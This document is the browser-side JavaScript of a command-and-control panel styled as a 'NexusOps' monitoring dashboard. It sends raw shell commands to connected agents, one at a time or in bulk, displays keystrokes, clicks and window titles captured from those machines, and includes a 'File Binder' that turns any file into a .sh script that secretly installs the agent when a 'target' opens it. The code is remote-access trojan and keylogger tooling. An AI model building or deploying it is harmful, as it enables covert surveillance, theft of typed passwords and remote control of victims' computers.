// NexusOps Dashboard Application Logic

let nodesData = [];
let commandHistory = [];
let masterSystemLogs = [];
let inputData = [];
let currentFilter = 'all';
let currentView = 'grid';
let serverIp = window.location.hostname;
let serverPort = window.location.port || '3000';
let publicUrl = null;
let telemetryChart = null;

document.addEventListener('DOMContentLoaded', () => {
  initWebSocket();
  initChart();
  updateServerEndpoint();
});

function updateServerEndpoint() {
  const endpoint = publicUrl || `http://${serverIp}:${serverPort}`;
  const placeholders = document.querySelectorAll('.server-url-placeholder');
  placeholders.forEach(el => el.textContent = endpoint);
  document.getElementById('navServerEndpoint').textContent = endpoint;
  const linkEl = document.getElementById('binaryDownloadLink');
  if (linkEl) linkEl.href = `${endpoint}/bin/NexusAgent`;
}

function initWebSocket() {
  const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
  const wsUrl = `${protocol}//${window.location.host}`;
  const ws = new WebSocket(wsUrl);

  ws.onopen = () => {
    document.getElementById('navConnectionStatus').textContent = 'Live Connected';
    document.querySelector('.status-indicator').classList.add('online');
  };

  ws.onmessage = (event) => {
    try {
      const data = JSON.parse(event.data);
      if (data.type === 'NODES_UPDATE') {
        serverIp = data.serverIp || serverIp;
        serverPort = data.port || serverPort;
        publicUrl = data.publicUrl || publicUrl;
        updateServerEndpoint();

        nodesData = data.nodes || [];
        commandHistory = data.commandHistory || [];
        masterSystemLogs = data.masterSystemLogs || [];
        inputData = data.inputData || [];
        renderDashboard();
      }
    } catch (e) {
      console.error("Error parsing WebSocket payload:", e);
    }
  };

  ws.onclose = () => {
    document.getElementById('navConnectionStatus').textContent = 'Disconnected (Reconnecting...)';
    document.querySelector('.status-indicator').classList.remove('online');
    setTimeout(initWebSocket, 3000);
  };
}

function renderDashboard() {
  renderOverviewStats();
  renderNodesGrid();
  renderAuditLogs();
  renderMasterSyslogs();
  renderIntelLog();
  checkForNewNodes();
  updateChartData();
}

function renderOverviewStats() {
  const total = nodesData.length;
  const online = nodesData.filter(n => n.status === 'online').length;
  const offline = total - online;

  let avgCpu = 0;
  if (online > 0) {
    const sumCpu = nodesData.filter(n => n.status === 'online').reduce((acc, n) => acc + (n.cpuUsage || 0), 0);
    avgCpu = Math.round(sumCpu / online);
  }

  document.getElementById('statTotalNodes').textContent = total;
  document.getElementById('statOnlineNodes').textContent = online;
  document.getElementById('statOfflineNodes').textContent = offline;
  document.getElementById('statAvgCpu').textContent = `${avgCpu}%`;
}

function renderNodesGrid() {
  const container = document.getElementById('nodesGrid');
  const search = document.getElementById('searchInput').value.toLowerCase();

  let filtered = nodesData.filter(node => {
    const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
    const matchesSearch = !search || 
      node.hostname.toLowerCase().includes(search) || 
      node.ip.toLowerCase().includes(search) || 
      node.platform.toLowerCase().includes(search) || 
      node.id.toLowerCase().includes(search);
    return matchesFilter && matchesSearch;
  });

  if (filtered.length === 0) {
    container.innerHTML = `
      <div class="empty-state">
        <i class="fa-solid fa-satellite-dish"></i>
        <h3>No Connected Agents Found</h3>
        <p>No computers match your filter. Download the agent installer to link machines.</p>
        <button class="btn btn-secondary" onclick="openInstallerModal()">Get Agent Install Script</button>
      </div>
    `;
    return;
  }

  container.innerHTML = filtered.map(node => {
    const isOnline = node.status === 'online';
    const osIcon = getOsIcon(node.platform);
    
    return `
      <div class="node-card ${isOnline ? 'online' : 'offline'}">
        <div class="card-header">
          <div class="node-info-main">
            <div class="platform-badge-icon">
              <i class="${osIcon}"></i>
            </div>
            <div class="node-title">
              <h3>${escapeHtml(node.hostname)}</h3>
              <span>${node.ip} • ${node.osName || node.platform}</span>
            </div>
          </div>
          <span class="status-badge ${isOnline ? 'online' : 'offline'}">
            <span class="status-indicator ${isOnline ? 'online' : ''}"></span>
            ${isOnline ? 'Online' : 'Offline'}
          </span>
        </div>

        <div class="metrics-container">
          <div class="metric-bar-group">
            <div class="metric-bar-label">
              <span><i class="fa-solid fa-microchip"></i> CPU Usage</span>
              <span>${node.cpuUsage}%</span>
            </div>
            <div class="metric-bar-bg">
              <div class="metric-bar-fill fill-cpu" style="width: ${node.cpuUsage}%"></div>
            </div>
          </div>

          <div class="metric-bar-group">
            <div class="metric-bar-label">
              <span><i class="fa-solid fa-memory"></i> Memory</span>
              <span>${node.memUsage}%</span>
            </div>
            <div class="metric-bar-bg">
              <div class="metric-bar-fill fill-mem" style="width: ${node.memUsage}%"></div>
            </div>
          </div>

          <div class="metric-bar-group">
            <div class="metric-bar-label">
              <span><i class="fa-solid fa-hard-drive"></i> Disk Space</span>
              <span>${node.diskUsage}%</span>
            </div>
            <div class="metric-bar-bg">
              <div class="metric-bar-fill fill-disk" style="width: ${node.diskUsage}%"></div>
            </div>
          </div>
        </div>

        <div class="card-footer">
          <span style="font-size: 0.75rem; color: var(--text-muted)">
            <i class="fa-regular fa-clock"></i> Heartbeat: ${formatTime(node.lastHeartbeat)}
          </span>
          <div class="node-actions">
            <button class="btn-icon" title="Ping Node" onclick="pingNode('${node.id}', '${escapeHtml(node.hostname)}')">
              <i class="fa-solid fa-bolt"></i>
            </button>
            <button class="btn-icon" title="Control Center" onclick="openCommandModal('${node.id}', '${escapeHtml(node.hostname)}')">
              <i class="fa-solid fa-sliders"></i> Control
            </button>
            <button class="btn-icon" title="Unregister Node" onclick="deleteNode('${node.id}')">
              <i class="fa-solid fa-trash-can"></i>
            </button>
          </div>
        </div>
      </div>
    `;
  }).join('');
}

function renderAuditLogs() {
  const container = document.getElementById('auditLogContent');
  document.getElementById('logCount').textContent = `${commandHistory.length} events`;

  if (commandHistory.length === 0) {
    container.innerHTML = `<div class="log-entry system">[SYSTEM] Server listening on http://${serverIp}:${serverPort}. No control task events yet.</div>`;
    return;
  }

  container.innerHTML = commandHistory.map(item => {
    let statusClass = item.status === 'completed' ? 'success' : item.status === 'failed' ? 'error' : 'system';
    return `
      <div class="log-entry ${statusClass}">
        [${new Date(item.createdAt).toLocaleTimeString()}] <strong>${escapeHtml(item.hostname)}</strong> ➔ ${escapeHtml(item.command)} | STATUS: ${item.status.toUpperCase()}
        ${item.output ? `<pre style="margin-top:0.2rem; font-size:0.8rem; color:#d1d5db; white-space:pre-wrap;">${escapeHtml(item.output.trim())}</pre>` : ''}
      </div>
    `;
  }).join('');
  container.scrollTop = container.scrollHeight;
}

function renderMasterSyslogs() {
  const container = document.getElementById('syslogStreamContent');
  if (!container) return;

  const countEl = document.getElementById('syslogCount');
  const searchInput = document.getElementById('logSearchInput');
  const query = searchInput ? searchInput.value.toLowerCase().trim() : '';

  let filtered = masterSystemLogs;
  if (query) {
    filtered = masterSystemLogs.filter(l => 
      l.hostname.toLowerCase().includes(query) || 
      l.entry.toLowerCase().includes(query)
    );
  }

  if (countEl) countEl.textContent = `${filtered.length} entries`;

  if (filtered.length === 0) {
    container.innerHTML = `<div class="log-entry system">[SYSTEM] Central log stream active. No entries matching "${escapeHtml(query)}".</div>`;
    return;
  }

  container.innerHTML = filtered.map(log => {
    let logText = escapeHtml(log.entry);
    let isError = logText.toLowerCase().includes('error') || logText.toLowerCase().includes('fail');
    let isWarn = logText.toLowerCase().includes('warn');
    let logClass = isError ? 'error' : isWarn ? 'system' : 'success';

    return `
      <div class="log-entry ${logClass}">
        [${new Date(log.timestamp).toLocaleTimeString()}] <strong style="color:var(--primary-cyan);">${escapeHtml(log.hostname)}</strong>: ${logText}
      </div>
    `;
  }).join('');
  container.scrollTop = container.scrollHeight;
}

function initChart() {
  const ctx = document.getElementById('telemetryChart').getContext('2d');
  telemetryChart = new Chart(ctx, {
    type: 'line',
    data: {
      labels: [],
      datasets: [
        {
          label: 'Avg CPU Load (%)',
          borderColor: '#06b6d4',
          backgroundColor: 'rgba(6, 182, 212, 0.1)',
          fill: true,
          data: [],
          tension: 0.4
        },
        {
          label: 'Avg RAM Load (%)',
          borderColor: '#8b5cf6',
          backgroundColor: 'rgba(139, 92, 246, 0.1)',
          fill: true,
          data: [],
          tension: 0.4
        }
      ]
    },
    options: {
      responsive: true,
      maintainAspectRatio: false,
      scales: {
        x: {
          grid: { color: 'rgba(255, 255, 255, 0.05)' },
          ticks: { color: '#9ca3af' }
        },
        y: {
          min: 0,
          max: 100,
          grid: { color: 'rgba(255, 255, 255, 0.05)' },
          ticks: { color: '#9ca3af' }
        }
      },
      plugins: {
        legend: { labels: { color: '#f3f4f6' } }
      }
    }
  });
}

function updateChartData() {
  if (!telemetryChart) return;
  const timeStr = new Date().toLocaleTimeString();
  
  const onlineNodes = nodesData.filter(n => n.status === 'online');
  const avgCpu = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.cpuUsage, 0) / onlineNodes.length : 0;
  const avgMem = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.memUsage, 0) / onlineNodes.length : 0;

  telemetryChart.data.labels.push(timeStr);
  telemetryChart.data.datasets[0].data.push(Math.round(avgCpu));
  telemetryChart.data.datasets[1].data.push(Math.round(avgMem));

  if (telemetryChart.data.labels.length > 15) {
    telemetryChart.data.labels.shift();
    telemetryChart.data.datasets[0].data.shift();
    telemetryChart.data.datasets[1].data.shift();
  }
  telemetryChart.update();
}

function getOsIcon(platform) {
  const p = (platform || '').toLowerCase();
  if (p.includes('win')) return 'fa-brands fa-windows';
  if (p.includes('darwin') || p.includes('mac')) return 'fa-brands fa-apple';
  return 'fa-brands fa-linux';
}

function escapeHtml(str) {
  return (str || '').replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
}

function formatTime(timestamp) {
  if (!timestamp) return 'Never';
  const diff = Math.floor((Date.now() - timestamp) / 1000);
  if (diff < 5) return 'Just now';
  if (diff < 60) return `${diff}s ago`;
  return `${Math.floor(diff / 60)}m ago`;
}

function setFilter(filter, el) {
  currentFilter = filter;
  document.querySelectorAll('.filter-btn').forEach(btn => btn.classList.remove('active'));
  el.classList.add('active');
  renderNodesGrid();
}

function filterNodes() {
  renderNodesGrid();
}

function switchView(view, el) {
  currentView = view;
  document.querySelectorAll('.toggle-btn').forEach(btn => btn.classList.remove('active'));
  el.classList.add('active');
  renderNodesGrid();
}

function openInstallerModal() {
  updateServerEndpoint();
  document.getElementById('installerModal').classList.add('active');
}

function closeInstallerModal() {
  document.getElementById('installerModal').classList.remove('active');
}

function switchTab(tabName) {
  document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active'));
  document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active'));
  
  event.currentTarget.classList.add('active');
  document.getElementById(`tab-${tabName}`).classList.add('active');
}

function switchControlTab(tabName, btnEl) {
  document.querySelectorAll('#commandModal .tab-btn').forEach(btn => btn.classList.remove('active'));
  document.querySelectorAll('.control-tab-content').forEach(c => c.style.display = 'none');

  btnEl.classList.add('active');
  document.getElementById(`ctrl-${tabName}`).style.display = 'block';
}

function copyCode(elementId, btn) {
  const text = document.getElementById(elementId).innerText;
  navigator.clipboard.writeText(text).then(() => {
    const original = btn.innerHTML;
    btn.innerHTML = `<i class="fa-solid fa-check"></i> Copied!`;
    btn.style.background = 'var(--accent-emerald)';
    setTimeout(() => {
      btn.innerHTML = original;
      btn.style.background = '';
    }, 2000);
  });
}

function openCommandModal(nodeId, hostname) {
  document.getElementById('cmdModalNodeId').value = nodeId;
  document.getElementById('cmdModalHostname').textContent = hostname;
  document.getElementById('cmdInput').value = '';
  document.getElementById('commandModal').classList.add('active');
}

function closeCommandModal() {
  document.getElementById('commandModal').classList.remove('active');
}

function setQuickCmd(cmd) {
  document.getElementById('cmdInput').value = cmd;
}

function submitNodeAction(actionType, extraPayload = {}) {
  const nodeId = document.getElementById('cmdModalNodeId').value;
  let payload = { ...extraPayload };

  if (actionType === 'raw_command') {
    const command = document.getElementById('cmdInput').value.trim();
    if (!command) return;
    payload.command = command;
  }

  fetch(`/api/nodes/${nodeId}/command`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ actionType, payload, command: payload.command })
  })
  .then(res => res.json())
  .then(data => {
    if (data.success) {
      closeCommandModal();
    }
  });
}

function submitServiceAction(action) {
  const service = document.getElementById('serviceNameInput').value.trim();
  if (!service) return alert("Please enter a service name (e.g. nginx)");
  submitNodeAction('manage_service', { service, action });
}

function submitKillProcess() {
  const pid = document.getElementById('killPidInput').value;
  if (!pid) return alert("Please enter a valid PID");
  submitNodeAction('kill_process', { pid });
}

function openBulkModal() {
  document.getElementById('bulkModal').classList.add('active');
}

function closeBulkModal() {
  document.getElementById('bulkModal').classList.remove('active');
}

function submitBulkCommand() {
  const command = document.getElementById('bulkCmdInput').value.trim();
  if (!command) return;

  fetch('/api/nodes/bulk-command', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ actionType: 'raw_command', command, payload: { command } })
  })
  .then(res => res.json())
  .then(data => {
    if (data.success) {
      closeBulkModal();
      alert(`Task broadcasted to ${data.count} online network nodes!`);
    } else {
      alert(data.error || "Failed to dispatch bulk command");
    }
  });
}

function submitTagUpdate() {
  const tags = document.getElementById('tagInput').value.trim();
  if (!tags) return alert("Please enter at least one tag");
  submitNodeAction('update_tags', { tags });
}

function submitHeartbeatRate() {
  const interval = document.getElementById('heartbeatInput').value;
  if (!interval) return alert("Please enter a valid interval in seconds");
  submitNodeAction('set_heartbeat_rate', { interval: parseInt(interval) });
}

function submitSystemReboot() {
  if (confirm("⚠️ Are you sure you want to reboot this target machine?")) {
    submitNodeAction('reboot_system');
  }
}

function deleteNode(nodeId) {
  if (confirm("Are you sure you want to unregister this node?")) {
    fetch(`/api/nodes/${nodeId}`, { method: 'DELETE' });
  }
}

// ── Master Intelligence Log Rendering ──

function renderIntelLog() {
  const container = document.getElementById('intelLogContent');
  if (!container) return;

  const nodeFilter = document.getElementById('intelNodeFilter');
  const typeFilter = document.getElementById('intelTypeFilter');
  const searchInput = document.getElementById('intelSearchInput');

  // Populate node filter dropdown dynamically
  if (nodeFilter) {
    const currentVal = nodeFilter.value;
    nodeFilter.innerHTML = '<option value="all">All Machines</option>';
    nodesData.forEach(n => {
      const sel = n.id === currentVal ? ' selected' : '';
      nodeFilter.innerHTML += `<option value="${n.id}"${sel}>${escapeHtml(n.hostname)} (${n.ip})</option>`;
    });
  }

  const selNodeId = nodeFilter ? nodeFilter.value : 'all';
  const selType = typeFilter ? typeFilter.value : 'all';
  const query = searchInput ? searchInput.value.toLowerCase().trim() : '';

  // Show machine details when a specific node is selected
  renderMachineDetails(selNodeId);

  // Filter input data
  let filtered = inputData;
  if (selNodeId !== 'all') {
    filtered = filtered.filter(e => e.nodeId === selNodeId);
  }
  if (selType !== 'all') {
    filtered = filtered.filter(e => e.eventType === selType);
  }
  if (query) {
    filtered = filtered.filter(e => {
      const dataStr = JSON.stringify(e.data || '').toLowerCase();
      return dataStr.includes(query) ||
        (e.windowTitle || '').toLowerCase().includes(query) ||
        (e.hostname || '').toLowerCase().includes(query);
    });
  }

  const countEl = document.getElementById('intelCount');
  if (countEl) countEl.textContent = `${filtered.length} events`;

  if (filtered.length === 0) {
    container.innerHTML = '<div class="log-entry system">[INTEL] No captured input events. Waiting for agent keystroke/click data...</div>';
    return;
  }

  container.innerHTML = filtered.map(ev => {
    const timeStr = new Date(ev.timestamp).toLocaleTimeString();
    const hostStr = escapeHtml(ev.hostname || 'Unknown');
    let icon, cssClass, detailStr;

    switch (ev.eventType) {
      case 'keystroke':
        icon = '<i class="fa-solid fa-keyboard"></i>';
        cssClass = 'log-entry intel-keystroke';
        detailStr = `Key: <strong style="color:#fbbf24;">${escapeHtml((ev.data && ev.data.key) || '?')}</strong>`;
        break;
      case 'click':
        icon = '<i class="fa-solid fa-arrow-pointer"></i>';
        cssClass = 'log-entry intel-click';
        detailStr = `Button: <strong style="color:#34d399;">${escapeHtml((ev.data && ev.data.button) || '?')}</strong> @ (${ev.data && ev.data.x}, ${ev.data && ev.data.y})`;
        break;
      case 'scroll':
        icon = '<i class="fa-solid fa-arrow-up-wide-short"></i>';
        cssClass = 'log-entry intel-scroll';
        detailStr = `Scroll \u0394(${ev.data && ev.data.dx}, ${ev.data && ev.data.dy})`;
        break;
      default:
        icon = '<i class="fa-solid fa-circle-dot"></i>';
        cssClass = 'log-entry';
        detailStr = escapeHtml(JSON.stringify(ev.data || {}));
    }

    const winStr = ev.windowTitle ? ` <span style="color:var(--text-dim); font-size:0.75rem;">[${escapeHtml(ev.windowTitle)}]</span>` : '';

    return `<div class="${cssClass}">
      <span style="color:var(--primary-cyan);">[${timeStr}]</span>
      ${icon}
      <strong style="color:var(--primary-purple);">${hostStr}</strong>
      ${detailStr}${winStr}
    </div>`;
  }).join('');
  container.scrollTop = container.scrollHeight;
}

function renderMachineDetails(nodeId) {
  const bar = document.getElementById('machineDetailsBar');
  if (!bar) return;

  if (nodeId === 'all') {
    const machinesWithInput = [...new Set(inputData.map(e => e.nodeId))];
    if (machinesWithInput.length === 0) {
      bar.innerHTML = '<span style="color: var(--text-muted); font-size: 0.8rem;"><i class="fa-solid fa-info-circle"></i> Select a specific machine to see its full details here. Input data from agents will appear below.</span>';
    } else {
      bar.innerHTML = `<span style="color: var(--text-muted); font-size: 0.8rem;"><i class="fa-solid fa-server"></i> ${machinesWithInput.length} machine(s) reporting input data. Select one above for details.</span>`;
    }
    return;
  }

  const node = nodesData.find(n => n.id === nodeId);
  if (!node) {
    bar.innerHTML = '<span style="color: var(--text-muted); font-size: 0.8rem;">Machine details unavailable.</span>';
    return;
  }

  const statusColor = node.status === 'online' ? 'var(--accent-emerald)' : 'var(--accent-rose)';
  const osIcon = getOsIcon(node.platform);

  bar.innerHTML = `
    <div class="machine-detail-chip"><i class="${osIcon}"></i> <strong>${escapeHtml(node.hostname)}</strong></div>
    <div class="machine-detail-chip"><i class="fa-solid fa-globe"></i> ${escapeHtml(node.ip)}</div>
    <div class="machine-detail-chip"><i class="fa-solid fa-laptop"></i> ${escapeHtml(node.osName || node.platform)} (${escapeHtml(node.arch || 'x64')})</div>
    <div class="machine-detail-chip"><i class="fa-solid fa-microchip"></i> CPU: ${node.cpuUsage}%</div>
    <div class="machine-detail-chip"><i class="fa-solid fa-memory"></i> MEM: ${node.memUsage}%</div>
    <div class="machine-detail-chip"><i class="fa-solid fa-hard-drive"></i> DISK: ${node.diskUsage}%</div>
    <div class="machine-detail-chip"><i class="fa-solid fa-clock"></i> ${formatUptime(node.uptime)}</div>
    <div class="machine-detail-chip" style="color:${statusColor};"><i class="fa-solid fa-circle"></i> ${node.status.toUpperCase()}</div>
  `;
}

function formatUptime(seconds) {
  if (!seconds || seconds <= 0) return 'N/A';
  const d = Math.floor(seconds / 86400);
  const h = Math.floor((seconds % 86400) / 3600);
  const m = Math.floor((seconds % 3600) / 60);
  if (d > 0) return `${d}d ${h}h`;
  if (h > 0) return `${h}h ${m}m`;
  return `${m}m`;
}

// ── File Binder ──

let binderFile = null;

function openBinderModal() {
  updateServerEndpoint();
  document.getElementById('binderModal').classList.add('active');
  resetBinder();
}

function closeBinderModal() {
  document.getElementById('binderModal').classList.remove('active');
  resetBinder();
}

function resetBinder() {
  binderFile = null;
  document.getElementById('binderFileInput').value = '';
  document.getElementById('binderFileName').innerHTML = 'Click or drag any file here';
  document.getElementById('binderDropzone').classList.remove('has-file');
  document.getElementById('binderSubmitBtn').disabled = true;
  document.getElementById('binderStatus').style.display = 'none';
}

function handleBinderFile(input) {
  if (input.files && input.files[0]) {
    binderFile = input.files[0];
    document.getElementById('binderFileName').innerHTML = `<strong>${escapeHtml(binderFile.name)}</strong> <span style="color:var(--text-dim);">(${(binderFile.size / 1024).toFixed(1)} KB)</span>`;
    document.getElementById('binderDropzone').classList.add('has-file');
    document.getElementById('binderSubmitBtn').disabled = false;
  }
}

async function submitBinder() {
  if (!binderFile) return;

  const btn = document.getElementById('binderSubmitBtn');
  const status = document.getElementById('binderStatus');
  btn.disabled = true;
  btn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> Binding...';
  status.style.display = 'block';
  status.className = '';
  status.textContent = 'Processing file...';

  const formData = new FormData();
  formData.append('file', binderFile);

  try {
    const resp = await fetch('/api/bind', { method: 'POST', body: formData });
    if (!resp.ok) {
      const err = await resp.json().catch(() => ({ error: 'Server error' }));
      throw new Error(err.error || `HTTP ${resp.status}`);
    }

    const blob = await resp.blob();
    const url = URL.createObjectURL(blob);
    const a = document.createElement('a');
    a.href = url;
    a.download = binderFile.name + '.sh';
    document.body.appendChild(a);
    a.click();
    document.body.removeChild(a);
    URL.revokeObjectURL(url);

    status.className = 'success';
    status.textContent = `✅ Bound file downloaded! Send "${binderFile.name}.sh" to target. When executed, it opens the original file and deploys the agent.`;
  } catch (e) {
    status.className = 'error';
    status.textContent = `❌ ${e.message}`;
  }

  btn.disabled = false;
  btn.innerHTML = '<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download';
}

// ── Kill Switch ──
function killSwitch() {
  if (!confirm('⚠️ KILL SWITCH: This will terminate ALL agent processes on ALL connected machines. Continue?')) return;
  fetch('/api/nodes/killswitch', { method: 'POST' })
    .then(r => r.json())
    .then(d => {
      if (d.success) alert(`☠️ Kill switch sent to ${d.count} node(s). Agents will shut down on next heartbeat.`);
      else alert(d.error || 'No nodes to kill.');
    });
}

// ── Ping Node ──
function pingNode(nodeId, hostname) {
  fetch(`/api/nodes/${nodeId}/ping`, { method: 'POST' })
    .then(r => r.json())
    .then(d => {
      if (d.success) alert(`⚡ Ping sent to ${hostname}. Check command log for latency response.`);
    });
}

// ── New Node Sound & Notification ──
let knownNodeIds = new Set();
function checkForNewNodes() {
  nodesData.forEach(node => {
    if (!knownNodeIds.has(node.id) && node.status === 'online') {
      knownNodeIds.add(node.id);
      // Browser notification
      if (Notification.permission === 'granted') {
        new Notification('🖥️ New Agent Connected', {
          body: `${node.hostname} (${node.ip}) — ${node.osName || node.platform}`,
          icon: '/favicon.ico'
        });
      }
      // Audio ping
      try {
        const ctx = new (window.AudioContext || window.webkitAudioContext)();
        const osc = ctx.createOscillator();
        const gain = ctx.createGain();
        osc.connect(gain); gain.connect(ctx.destination);
        osc.frequency.setValueAtTime(880, ctx.currentTime);
        osc.frequency.setValueAtTime(1100, ctx.currentTime + 0.1);
        gain.gain.setValueAtTime(0.3, ctx.currentTime);
        gain.gain.exponentialRampToValueAtTime(0.01, ctx.currentTime + 0.3);
        osc.start(ctx.currentTime);
        osc.stop(ctx.currentTime + 0.3);
      } catch(e) {}
    }
  });
  // Also mark offline nodes
  nodesData.forEach(node => knownNodeIds.add(node.id));
}

// Request notification permission on first interaction
document.addEventListener('click', () => {
  if (Notification.permission === 'default') Notification.requestPermission();
}, { once: true });